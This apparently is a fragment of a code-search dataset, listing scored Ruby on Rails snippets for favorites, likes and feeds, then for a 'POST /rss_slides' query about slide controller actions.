{
"docid": "1592c543746b2a6d1dac739ecd3e91e2",
"score": "0.5766813",
"text": "def explore\n @posts = Post.all\n @newPost = Post.new\n @toFollow = User.all.last(5)\n end",
"title": ""
},
{
"docid": "8ce25e36bd39f9c0f79b0e01fd967476",
"score": "0.57659227",
"text": "def favorited_by?(user)\n self.user_id == user.id\n end",
"title": ""
},
{
"docid": "4c9d2a29fe7124fc92d84b3a35716c93",
"score": "0.5759646",
"text": "def create\n \t#only signed in user may like something, current user\n \tcurrent_user.like_relationships.create(like_id: params[:object_id])\n \t#@user = User.find_by(id: 3)\n @post = Post.find_by(id: params[:object_id])\n #redirect_back(fallback_location: root_path)\n respond_to do |format|\n format.html {redirect_back(fallback_location: root_path)}\n format.js \n end\n end",
"title": ""
},
{
"docid": "e9b8ab4738797833a30ceb089907b364",
"score": "0.5759193",
"text": "def favorite(id, options = {})\n options[:id] = id\n @req.post(\"/1.1/favorites/create.json\", options)\n end",
"title": ""
},
{
"docid": "1583ed1b5992d518cb06eada4ba44143",
"score": "0.57566714",
"text": "def wall_post_by_user!(user)\n HTTParty.post(\"https://graph.facebook.com/me/feed\", {\n :body=>{\n :access_token => user.authorize_signature,\n :message => \"I'm going on a trip, staying at a place I found on HereStay!\",\n :picture => self.rental_unit.picture || '',\n :link => self.rental_unit.fb_url,\n :name => \"Check it out!\",\n :caption => \"See for yourself\",\n :description => \"Stay at a friends place by finding it on HereStay\"}\n }\n )\n discounts.create!(:user_id=>user.id)\n end",
"title": ""
},
{
"docid": "147356d3b09a6aafe38c1dc46f0142db",
"score": "0.5752101",
"text": "def favorite_for(post)\n favorites.where(post_id: post.id).first\n end",
"title": ""
},
{
"docid": "f5c33f84b588d9e76eef9feb51ea4ba9",
"score": "0.5708205",
"text": "def feed\n #sihntaro is ID #1\n # Micropost.where(\"user_id = id\", #1)\n # meaning all of_shintaro7s posts about sush will show up\n # Micropost.where(\"user_id = ?\", id)\n Micropost.from_users_followed_by(self) #this shows pasts from other users you followed\n end",
"title": ""
},
{
"docid": "fa0c7c9d9d872f584b78724c713a594a",
"score": "0.57037526",
"text": "def post_tweet(user_id, tweet_id)\n @tweets[user_id] ||= []\n @tweets[user_id].unshift([@count += 1, tweet_id])\n @tweets[user_id] = @tweets[user_id][0..9]\n nil\n end",
"title": ""
},
{
"docid": "aa2b5158b057728166a92d3e31f55ad4",
"score": "0.5699294",
"text": "def artist_favorite_user(user)\n\t\tartist_favorites.find_by(user_id: user.id)\n end",
"title": ""
},
{
"docid": "a808736a78cdf11e6febc93b2cb056bc",
"score": "0.5696066",
"text": "def create\n @story.favers << current_user\n update\n end",
"title": ""
},
{
"docid": "095fd7e31997474391387da53627d34b",
"score": "0.56946284",
"text": "def add_my_favorite \n favorites = Favorite.where(:idea_id => params[:idea_id], :user_id => current_user.id)\n \n go = true\n \n # check if favorite exists\n if favorites.count > 0\n go = false\n end\n \n # check if this is the current user\n if Idea.find(params[:idea_id]).user.id == current_user.id\n go = false\n end\n \n if go == true\n f = Favorite.new\n f.user_id = current_user.id\n f.idea_id = params[:idea_id]\n f.save\n end\n \n respond_to do |format|\n format.html { redirect_to(idea_path(params[:idea_id])) }\n end\n \n end",
"title": ""
},
{
"docid": "5691e56d0f56b5f9b1092efd93356614",
"score": "0.56944",
"text": "def perform(user_id)\n user = User.find(user_id)\n \n # Creating history record for user:\n user_information = Twitter.execute({user: user, request_type: \"users/show.json?screen_name=#{user.screen_name}\"})\n followers_count = user_information[\"followers_count\"]\n favorites_count = user_information[\"favourites_count\"]\n retweet_count = user_information[\"status\"][\"retweet_count\"] # This should be removed\n\t\tHistory.create(user_id: user_id, followers_count: followers_count, favorites_count: favorites_count, retweet_count: retweet_count)\n\n # Updating user's followers list:\n unless user.auth_token == nil\n \tUpdateFollowersListWorker.perform_async(user_id,followers_count)\n end\n \tend",
"title": ""
},
{
"docid": "5e4984b680995c59761f2c610ad9f90c",
"score": "0.5675437",
"text": "def post_fav_params\n params.require(:post_fav).permit(:post_id, :user_id)\n end",
"title": ""
},
{
"docid": "ec1c6ab77be156996f627f40c8e0e22a",
"score": "0.56722254",
"text": "def is_favorite(user_id)\n if (Favorite.where(post_id: self.id, user_id: user_id)).empty? == true\n return \"\"\n else\n return \"checked\"\n end\n end",
"title": ""
},
{
"docid": "cc1ccce2c5feecbb354cc2c8af72d618",
"score": "0.5671401",
"text": "def faved_posts\n # self.posts.map { |post| post.is_fav?(self) }\n self.favs.map {|fav| fav.post }\n end",
"title": ""
},
{
"docid": "61e01cac608e00f8cb52c820a555f653",
"score": "0.56700826",
"text": "def favourited_by_user?(user_id_to_check)\n favourited = false\n\n obj_type = ActiveRecord::Base.send(:class_of_active_record_descendant, self.class).to_s\n\n favs = Favourite.find(:all,\n :conditions => { :favouritable_type => obj_type,\n :favouritable_id => self.id,\n :user_id => user_id_to_check })\n\n favourited = true unless favs.empty?\n\n return favourited\n end",
"title": ""
},
{
"docid": "7832bcf226ea5239169bedd1e65cff7a",
"score": "0.5667289",
"text": "def favorite_params\n params.require(:favorite).permit(:user_id, :post_id)\n end",
"title": ""
},
{
"docid": "48ef865870ed204c0108c997accd8e26",
"score": "0.566372",
"text": "def feed_posts\n # get the id of the user and all their friends\n ids = [current_user.id]\n ids << current_user.friend_ids\n ids = ids.flatten\n Post.feed(ids)\n end",
"title": ""
},
{
"docid": "748f89c622f815c98a20a79b4556f42b",
"score": "0.56551665",
"text": "def feed\r\n Post.where(\"user_id = ?\", id)\r\n end",
"title": ""
},
{
"docid": "24443890510ab2e3161d2046be33b371",
"score": "0.565406",
"text": "def like!(user)\n @like = likes.create!(user_id: user.id)\n end",
"title": ""
},
{
"docid": "ed4582a80bb0a3dab9749427803f89db",
"score": "0.56437707",
"text": "def post_feed(post)\n pictures = Picture.find_all_by_post_id(post.id, :order => 'sequence', :limit => 3)\n images = []\n pictures.each do |picture|\n images.push image(picture.public_filename(:tiny), show_picture_url(:id => picture.id, :host => $DEFAULT_HOST))\n end\n send_as :user_action\n from post.user.facebook_user.facebook_session.user\n data :title => post.title.blank? ? link_to('post', verbose_post_path(post, true)) : \"post titled '#{link_to(post.title, verbose_post_path(post, true))}'\",\n :images => images\n end",
"title": ""
},
{
"docid": "0be2deaa9a01e951b34cd5fa91052b09",
"score": "0.5641879",
"text": "def feed\nPost.where(\"user_id = ?\", id)\nend",
"title": ""
},
{
"docid": "0225777c8a0b37425003932f8776d864",
"score": "0.5641837",
"text": "def favorited_toggle\n # 1. get token\n # byebug\n token = request.headers[\"Authorization\"]\n # 2. Decode token to get user info, specifically the id\n user_id = JWT.decode(token, ENV[\"MIXIT_SECRET\"], true, {algorithm: 'HS384'})[0][\"user_id\"]\n # 3. Using the user_id and the drink_id, see if a userDrink already exists in UserDrink.all\n @user_drink = UserDrink.find_by(user_id: user_id, drink_id: params[:id]) #not found => nil\n #\n # If drink exists in UserDrinks already, and is NOT favorited already, then favorite it\n if already_exists?(@user_drink) && @user_drink.favorited != true\n @user_drink.update(favorited: true)\n elsif already_exists?(@user_drink) && @user_drink.favorited === true\n # If @user_drink is in UserDrinks, but is ALREADY favorited, unfavorite it\n @user_drink.update(favorited: false)\n else\n # If drink doesn't exist in UserDrinks, then make a new entry and mark as favorited\n @user_drink = UserDrink.create(\n user_id: user_id,\n drink_id: params[:id],\n favorited: true\n )\n end\n # Finally, render the favorited state of the drink\n render json: @user_drink\n end",
"title": ""
},
{
"docid": "84ec302b0c2bbf35379f0995613f6a59",
"score": "0.5639016",
"text": "def find_and_suggest(user_id)\n user = find(user_id)\n random_movie_id = MOVIES.map { |m| m[:id] }[rand(0...MOVIES.length)]\n user.merge!(suggested: random_movie_id)\n end",
"title": ""
},
{
"docid": "759cb8c0cde6baa1d3532ab6e1c925f7",
"score": "0.563807",
"text": "def create_favorite(favorite_params)\n handle_error { sendsecure_connection.post(\"api/v2/enterprises/#{@enterprise_account}/users/#{@user_id}/favorites.json\", favorite_params) }\n end",
"title": ""
},
{
"docid": "f727037cf4560a7269f273e857031271",
"score": "0.56357497",
"text": "def feed\n Post.where(\"user_id = ?\", id)\n end",
"title": ""
},
{
"docid": "89f59dace95cca41eb46bbb21a7665bd",
"score": "0.5633978",
"text": "def post_like\n # Grab our book from the DB. Note that this syntax is for Rails 3.2 and below. Rails 4 uses something called Strong Parameters, but that is for another time. \n @post = Post.find(params[:post_id])\n \n user = current_user\n\n # Create a like\n like = @post.likes.build\n like.user_id=user.id\n like.save\n\n \n \n redirect_to posts_path\n\n end",
"title": ""
},
{
"docid": "bf87948257cfe3c6fe6b93d9c5086d54",
"score": "0.56332016",
"text": "def get_favorites(user_id = nil, page = 1)\n retcode = 200\n begin\n res = submit_network_request(\"/favorites#{ user_id.nil? ? '' : '/' + user_id.to_s }.json?page=#{page}\")\n return JSON.parse(res.body) if res.code.to_i == 200\n retcode = res.code.to_i\n rescue Exception => e\n throw_general_exception(\"NCTwitter.get_favorites()\", e)\n else\n throw_nc_exception(\"NCTwitter.get_favorites()\", retcode) end\n end",
"title": ""
},
{
"docid": "1ed1b54800ecebffa7c17c08dd9ebe98",
"score": "0.5632407",
"text": "def feed\n # This SQL query returns entries from people the user is following plus\n # his/her own posts. This version is optimized to be more scalable than\n # the version in prior commits. The subselect lets the database do the\n # heavy-lifting internally.\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n Micropost.where(\"user_id IN (#{following_ids})\n OR user_id = :user_id\", user_id: id)\n end",
"title": ""
},
{
"docid": "8b29a834d957bebf0a1963c303098287",
"score": "0.56202435",
"text": "def add_to_user_favorites(user_passed)\n FavoritePokemon.create(user: user_passed, pokemon: self)\n\n system(\"clear\")\n puts \"\\n#{name.capitalize} added to Favorites. There is a strong bond between you and #{name.capitalize}.\".light_green\n\n # Return user to main_menu\n user_passed.main_menu\n end",
"title": ""
}
] |
09e70af04a4adf2848e5803299563c57
|
POST /rss_slides POST /rss_slides.xml
|
[
{
"docid": "faa8488f75ec66ea4dfa2b7a3f15b1bf",
"score": "0.71576697",
"text": "def create\n @rss_slide = RssSlide.new(params[:rss_slide])\n\n respond_to do |format|\n if @rss_slide.save\n format.html { redirect_to(@rss_slide, :notice => 'Rss slide was successfully created.') }\n format.xml { render :xml => @rss_slide, :status => :created, :location => @rss_slide }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @rss_slide.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "79c5afd56e69e8479186408844a4f591",
"score": "0.6627301",
"text": "def slides\n @id = params[:id]\n @item = Item.find(@id)\n begin\n @slides = @item.images.where(['publish=?', true]).order('position')\n rescue => error\n flash[:error] = error.message\n ensure\n # no slides found so create some\n if @slides.empty?\n @slides = @item.create_images\n end\n end\n unless @id.nil? || @slides.nil? || @slides.empty?\n respond_to do |format|\n format.xml\n end\n else\n flash[:error] = 'Unable to locate process slides for id number ' + params[:id].to_s + '.'\n end\n end",
"title": ""
},
{
"docid": "643ad619b55f29051dc9ecbf9a0f44a7",
"score": "0.6467756",
"text": "def new\n @rss_slide = RssSlide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rss_slide }\n end\n end",
"title": ""
},
{
"docid": "f17dd8b9d8542c56e05dc9196d7b3cd8",
"score": "0.59207606",
"text": "def create\n @title = t('view.slides.new_title')\n @slide = @lesson.slides.build slide_params\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to(course_lesson_url(@lesson.course, @lesson, anchor: @slide.anchor), notice: t('view.slides.correctly_created')) }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: 'new' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ead15902aac80e7f42dd8ceb41d4b544",
"score": "0.58463144",
"text": "def destroy\n @rss_slide = RssSlide.find(params[:id])\n @rss_slide.destroy\n\n respond_to do |format|\n format.html { redirect_to(rss_slides_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "eb41e241d9e4d2ca958563a764d49854",
"score": "0.58363014",
"text": "def create\n @web_slide = WebSlide.new(params[:web_slide])\n\n respond_to do |format|\n if @web_slide.save\n format.html { redirect_to(@web_slide, :notice => 'Web slide was successfully created.') }\n format.xml { render :xml => @web_slide, :status => :created, :location => @web_slide }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @web_slide.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "499a5c2bf26a6a138b62b881bba3fb6f",
"score": "0.5829703",
"text": "def create\n newparams = coerce(params) \n @slide = Slide.new(newparams[:slide])\n @slide.name = @slide.image_file_name\n @slide.position = @slide.presentation.slides.count + 1\n if @slide.save\n flash[:notice] = \"Successfully created slide.\"\n respond_to do |format| \n format.html {redirect_to @slide.presentation} \n format.json { render :json => { :result => 'success', :slide => slide_url(@slide) } }\n end\n else\n render :action => 'new'\n end\n end",
"title": ""
},
{
"docid": "10d86298d201277e45d1bf8739fdc15c",
"score": "0.5817125",
"text": "def create\n @page_slide = Slide.new(params[:page_slide])\n\n respond_to do |format|\n if @page_slide.save\n format.html { redirect_to @page_slide, notice: 'Slide was successfully created.' }\n format.json { render json: @page_slide, status: :created, location: @page_slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page_slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0e36da035671f99baf5fb5afb24359c3",
"score": "0.5803944",
"text": "def create\n @slide = Slide.new(params[:slide])\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to @slide, notice: 'Slide was successfully created.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0780457dfdddb3e247cdd2f3eeadb74d",
"score": "0.5796922",
"text": "def create\n @slide = Slide.new(slide_params)\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to @slide, notice: \"Slide was successfully created.\" }\n format.json { render :show, status: :created, location: @slide }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cb8fcc063d1a3b8b82f3e25838b15d4f",
"score": "0.57844615",
"text": "def show\n @rss_slide = RssSlide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @rss_slide }\n end\n end",
"title": ""
},
{
"docid": "6439f9472c7853040463a7c17c7102e2",
"score": "0.5719441",
"text": "def create\n @slideshow = Slideshow.new(params[:slideshow])\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to(@slideshow, :notice => 'Slideshow was successfully created.') }\n format.xml { render :xml => @slideshow, :status => :created, :location => @slideshow }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @slideshow.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1507add89f4b857b7c5dfc4849b93598",
"score": "0.56901336",
"text": "def create\n @slide = Slide.new(params[:slide])\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to slides_url, notice: '幻灯片创建成功.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c817d25484ffe518ab5197e2229bdd45",
"score": "0.56830364",
"text": "def create\n @slide = Slide.new(slide_params)\n respond_to do |format|\n if @slide.save\n @slide.take_screenshot\n @slide.create_activity(:create, owner: current_user, parameters: { name: @slide.menu_name })\n current_user.slides << @slide\n format.html { redirect_to edit_slide_path(@slide) }\n format.json { render :show, status: :created, location: @slide }\n else\n format.html { render :new }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "23552c0cb16cf32a8cee155878173a05",
"score": "0.56393063",
"text": "def create\n @slide = Slide.new(slide_params)\n @slide.presentation = @presentation\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to location: presentation_slides_url(@presentation), notice: 'Slide was successfully created.' }\n format.json { render action: 'show', status: :created, location: @slide }\n else\n format.html { render action: 'new' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "369a48659a7a484c3ffdc62bb030b4de",
"score": "0.56109333",
"text": "def new\n @slideshow = Slideshow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @slideshow }\n end\n end",
"title": ""
},
{
"docid": "369a48659a7a484c3ffdc62bb030b4de",
"score": "0.56109333",
"text": "def new\n @slideshow = Slideshow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @slideshow }\n end\n end",
"title": ""
},
{
"docid": "b8be70b7d46b38c0e6840ea8b493c775",
"score": "0.5569731",
"text": "def create\n\n @slide = Slide.new(slide_params)\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to [:admin, @slide], notice: 'Slide was successfully created.' }\n format.json { render action: 'show', status: :created, location: @slide }\n else\n format.html { render action: 'new' }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "024ab0ecbe36077c862af5440eb3d947",
"score": "0.55682623",
"text": "def new\n @web_slide = WebSlide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @web_slide }\n end\n end",
"title": ""
},
{
"docid": "eb2e4bb710fb47b1f0712d7fe3476397",
"score": "0.55613714",
"text": "def update\n @rss_slide = RssSlide.find(params[:id])\n\n respond_to do |format|\n if @rss_slide.update_attributes(params[:rss_slide])\n format.html { redirect_to(@rss_slide, :notice => 'Rss slide was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rss_slide.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2abbdeb7d1bfc1e238ac42ccd8abb500",
"score": "0.5553302",
"text": "def rss \n @vote_topics = VoteTopic.rss\n respond_to do |format|\n format.rss\n end\n end",
"title": ""
},
{
"docid": "db910a4dfc7be0a47640ab26b80864f8",
"score": "0.553814",
"text": "def create\n @slide = Slide.new(params[:slide])\n\n # If we're creating a new slide from the slideshow editing page, add the\n # slide to the slideshow and then redirect to the slideshow edit screen.\n @slide.slideshows << (@slideshow = Slideshow.find(params[:slideshow_id])) if params[:slideshow_id]\n\n respond_to do |format|\n if @slide.save\n format.html { redirect_to (@slideshow ? edit_slideshow_path(@slideshow) : @slide), notice: 'Slide was successfully created.' }\n format.json { render json: @slide, status: :created, location: @slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4c0c7d0b46eae4711e2d2109127cc046",
"score": "0.5492387",
"text": "def create\n inform = Inform.find(params[:inform_id])\n slide = inform.slides.build(slide_params)\n slide.user_id = current_user.id\n\n if slide.save\n redirect_to inform, notice: 'La placa ha sido creada exitosamente.'\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "8fba3e1d290dd3a6cb26be7ee442d226",
"score": "0.5466384",
"text": "def new\n @title = t('view.slides.new_title')\n @slide = @lesson.slides.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"title": ""
},
{
"docid": "ca55f68921a309103bbf65a3e5045a6f",
"score": "0.54172665",
"text": "def rss\n @events = Post.find(:all, {:conditions=> \"status=public\"},:order => \"id DESC\")\n render :layout => false\n headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"title": ""
},
{
"docid": "3192d91fdc28aa46d69014ff409501f9",
"score": "0.53905284",
"text": "def post\n doc = Nokogiri::XML(request.body)\n id= (doc/'id').text\n # p = Post.exists?(id) ? Post.find(id) : Post.new\n p= Post.find_or_create_by_intranet_id id\n p.update_attributes :subject => (doc/'subject').text,\n :body => (doc/'body').text, :post_type => (doc/'post-type').text,\n :pic => (doc/'pic') .text, :begin_on=>(doc/'begin-on').text,\n :pic_postimg => (doc/'pic-postimg').text,\n :video => (doc/'video').text, \n :end_on => (doc/'end-on').text, :stick => (doc/'stick').text \n render :text => \"ok\"\n end",
"title": ""
},
{
"docid": "d8f5186b059c9520106aa9ffc4af36e5",
"score": "0.5381495",
"text": "def new\n @page_slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_slide }\n end\n end",
"title": ""
},
{
"docid": "f1043d7e339d56f167beaa500fad4fec",
"score": "0.5347133",
"text": "def push(slide)\n n = to_a.size + 1\n # Paths within the zip file of new files we have to write.\n slide_path = Pathname.new(\"/ppt/slides/slide#{n}.xml\")\n slide_rels_path = Pathname.new(\"/ppt/slides/_rels/slide#{n}.xml.rels\")\n slide_notes_path = Pathname.new(\"/ppt/notesSlides/notesSlide#{n}.xml\")\n slide_notes_rels_path = Pathname.new(\"/ppt/notesSlides/_rels/notesSlide#{n}.xml.rels\")\n\n # Update ./ppt\n # !!! CREATE !!!\n # ./slides\n # Create new files\n # ./slide(\\d+).xml file\n @doc.copy slide_path, slide.path\n # ./_rels/slide(\\d+).xml.rels\n @doc.copy slide_rels_path, slide.rels.path\n # ./notesSlides\n # Create new files\n # ./notesSlide(\\d+).xml file\n @doc.copy slide_notes_path, slide.notes.path\n # ./_rels/notesSlide(\\d+).xml.rels\n @doc.copy slide_notes_rels_path, slide.notes.rels.path\n \n # !!! UPDATES !!!\n # Update the notes in the new slide to point at the new notes\n @doc.edit_xml slide_rels_path do |xml|\n # TODO - Move this rel logic into the parts so that we don't have to repeat ourselves when calculating this stuff out.\n xml.at_xpath(\"//xmlns:Relationship[@Type='#{Notes::REL_TYPE}']\")['Target'] = slide_notes_path.relative_path_from(slide_path.dirname)\n end\n\n # Update teh slideNotes reference to point at the new slide\n @doc.edit_xml slide_notes_rels_path do |xml|\n xml.at_xpath(\"//xmlns:Relationship[@Type='#{Slide::REL_TYPE}']\")['Target'] = slide_path.relative_path_from(slide_notes_path.dirname)\n end\n\n # ./_rels/presentation.xml.rels\n # Update Relationship ids\n # Insert a new one slideRef\n @doc.edit_xml @doc.presentation.rels.path do |xml|\n # Calucate the next id\n next_id = xml.xpath('//xmlns:Relationship[@Id]').map{ |n| n['Id'] }.sort.last.succ\n # TODO - Figure out how to make this more MS idiomatic up 9->10 instead of incrementing\n # the character....\n # Insert that into the slide and crakc open the presentation.xml file\n types = xml.at_xpath('/xmlns:Relationships')\n types << Nokogiri::XML::Node.new(\"Relationship\", xml).tap do |n|\n n['Id'] = next_id\n n['Type'] = Slide::REL_TYPE\n n['Target'] = slide_path.relative_path_from(@doc.presentation.path.dirname)\n end\n # ./presentation.xml\n # Update attr\n # p:notesMasterId\n # Insert attr\n # p:sldId, increment, etc.\n @doc.edit_xml '/ppt/presentation.xml' do |xml|\n slides = xml.at_xpath('/p:presentation/p:sldIdLst')\n next_slide_id = slides.xpath('//p:sldId[@id]').map{ |n| n['id'] }.sort.last.succ\n slides << Nokogiri::XML::Node.new(\"p:sldId\", xml).tap do |n|\n # TODO - Fix the ID that's jacked up.\n n['id'] = next_slide_id\n n['r:id'] = next_id\n end\n end\n end\n\n # Update ./[Content-Types].xml with new slide link and slideNotes link\n @doc.edit_xml @doc.content_types.path do |xml|\n types = xml.at_xpath('/xmlns:Types')\n types << Nokogiri::XML::Node.new(\"Override\", xml).tap do |n|\n n['PartName'] = slide_path\n n['ContentType'] = Slide::CONTENT_TYPE\n end\n types << Nokogiri::XML::Node.new(\"Override\", xml).tap do |n|\n n['PartName'] = slide_notes_path\n n['ContentType'] = Notes::CONTENT_TYPE\n end\n end\n\n # Great, that's all done, so lets return the slide eh?\n slide slide_path\n end",
"title": ""
},
{
"docid": "6af72106c9060be9e662e73cd04ab1c4",
"score": "0.5339364",
"text": "def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end",
"title": ""
},
{
"docid": "67dd1eb1c245752384b7a88ddf351fe3",
"score": "0.53365237",
"text": "def create\n @slideshow = Slideshow.new(params[:slideshow])\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully created.' }\n format.json { render json: @slideshow, status: :created, location: @slideshow }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "67dd1eb1c245752384b7a88ddf351fe3",
"score": "0.53365237",
"text": "def create\n @slideshow = Slideshow.new(params[:slideshow])\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully created.' }\n format.json { render json: @slideshow, status: :created, location: @slideshow }\n else\n format.html { render action: \"new\" }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "34c210a2546c0163d37d7d4b8d6e9ff5",
"score": "0.5327222",
"text": "def slide_params\n params.require(:slide).permit(:name, :slides_to_add, :file)\n end",
"title": ""
},
{
"docid": "8611d53c6c002f4411144a2926f96c8d",
"score": "0.5324509",
"text": "def create\n uploaded_io = params[:image_this]\n slide = Slide.new\n slide.user_id = current_user.id\n slide.file = uploaded_io\n if slide.save\n if params[:name].present?\n name = params[:name]\n else\n name = slide.file.to_s.split('/').last\n end\n\n if params[:tags].present?\n params[:tags].split(',').each do |tag|\n t = Tag.find_or_create_by(:name => tag)\n Tagging.create(:tag_id => t.id, :slide_id => slide.id, :user_id => current_user.id)\n end\n end\n\n slide.update_attributes(:name => name)\n out = 'success'\n else\n out = 'fail'\n end\n render :json => { :outcome => out, :url => slide.file.thumb.url }\n end",
"title": ""
},
{
"docid": "507723db43c033d6fdae16200068f13c",
"score": "0.53228027",
"text": "def slide_params\n params.require(:slide).permit(:title, :header, :number, :body, :presentation_id)\n end",
"title": ""
},
{
"docid": "e5ca2e38c9542001ac64e311ca52c0f4",
"score": "0.5296631",
"text": "def create\n @promo_slide = PromoSlide.new(promo_slide_params)\n respond_to do |format|\n if @promo_slide.save\n format.html { redirect_to @promo_slide, notice: 'Promo slide was successfully created.' }\n format.json { render json: @promo_slide, status: :created, location: @promo_slide }\n else\n format.html { render action: \"new\" }\n format.json { render json: @promo_slide.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7fb874cf982d76c439bdefdf93f9aa68",
"score": "0.528857",
"text": "def podcast\n respond_to do |format|\n format.html # podcast.html.haml\n format.rss # podcast.rss.builder\n end\n end",
"title": ""
},
{
"docid": "2f0a535d5bf033070c550f0038e62f46",
"score": "0.5275956",
"text": "def to_xml\n PodcastsController.renderer.new(\n 'action_dispatch.request.path_parameters' => {\n controller: 'podcasts',\n action: 'show',\n id: podcast.id\n }\n ).render :show, format: :rss\n end",
"title": ""
},
{
"docid": "e667111271304a882eb3e8cc302ff322",
"score": "0.52703756",
"text": "def create\n @slideshow = Slideshow.new(slideshow_params)\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully created.' }\n format.json { render :show, status: :created, location: @slideshow }\n else\n format.html { render :new }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e667111271304a882eb3e8cc302ff322",
"score": "0.52703756",
"text": "def create\n @slideshow = Slideshow.new(slideshow_params)\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully created.' }\n format.json { render :show, status: :created, location: @slideshow }\n else\n format.html { render :new }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e667111271304a882eb3e8cc302ff322",
"score": "0.52703756",
"text": "def create\n @slideshow = Slideshow.new(slideshow_params)\n\n respond_to do |format|\n if @slideshow.save\n format.html { redirect_to @slideshow, notice: 'Slideshow was successfully created.' }\n format.json { render :show, status: :created, location: @slideshow }\n else\n format.html { render :new }\n format.json { render json: @slideshow.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5cc29f3e7bfc73a7e719287391736720",
"score": "0.52679753",
"text": "def create\n @slide_type = SlideType.new(params[:slide_type])\n\n respond_to do |format|\n if @slide_type.save\n format.html { redirect_to(slide_types_path, :notice => 'Slide type was successfully created.') }\n format.xml { render :xml => @slide_type, :status => :created, :location => @slide_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @slide_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a48a8f5abcada6a4a53dfcb675407427",
"score": "0.52641433",
"text": "def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"title": ""
},
{
"docid": "a48a8f5abcada6a4a53dfcb675407427",
"score": "0.52641433",
"text": "def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"title": ""
},
{
"docid": "a48a8f5abcada6a4a53dfcb675407427",
"score": "0.52641433",
"text": "def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"title": ""
},
{
"docid": "ba8a360fc08979573777213c89917c24",
"score": "0.52640426",
"text": "def index\n @slides = Slide.all\n end",
"title": ""
},
{
"docid": "f33ec3dadb902a0c144fea32e06734c9",
"score": "0.5263426",
